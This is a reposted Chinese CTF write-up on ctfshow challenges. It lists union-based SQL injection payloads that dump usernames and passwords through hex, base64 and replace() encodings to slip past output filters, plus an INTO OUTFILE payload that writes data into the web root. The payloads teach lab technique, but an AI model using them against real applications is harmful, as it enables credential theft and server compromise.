ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入 进阶绕过技巧

2022-06-28 23:03:05  阅读:232  来源: 互联网

标签:username 进阶 base64 replace flag ctfshow SQL 绕过 select


hex/哈希值绕过

1' union select hex(id),hex(username),hex(password) from ctfshow_web.ctfshow_user3--+
如果回显点少的话,可以在后面加上limit 3,5#    即表示,从第三列数据开始输出五列

base64加密绕过

1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'--+

替换关键字绕过

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')

有效负载

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1-- A

然后写一个py脚本输出flag
import base64
flagstr = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3')
print(base64.b64decode(flag))

into outfile写shell

1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt'-- A

标签:username,进阶,base64,replace,flag,ctfshow,SQL,绕过,select
来源: https://www.cnblogs.com/IceSeclude/p/16421572.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有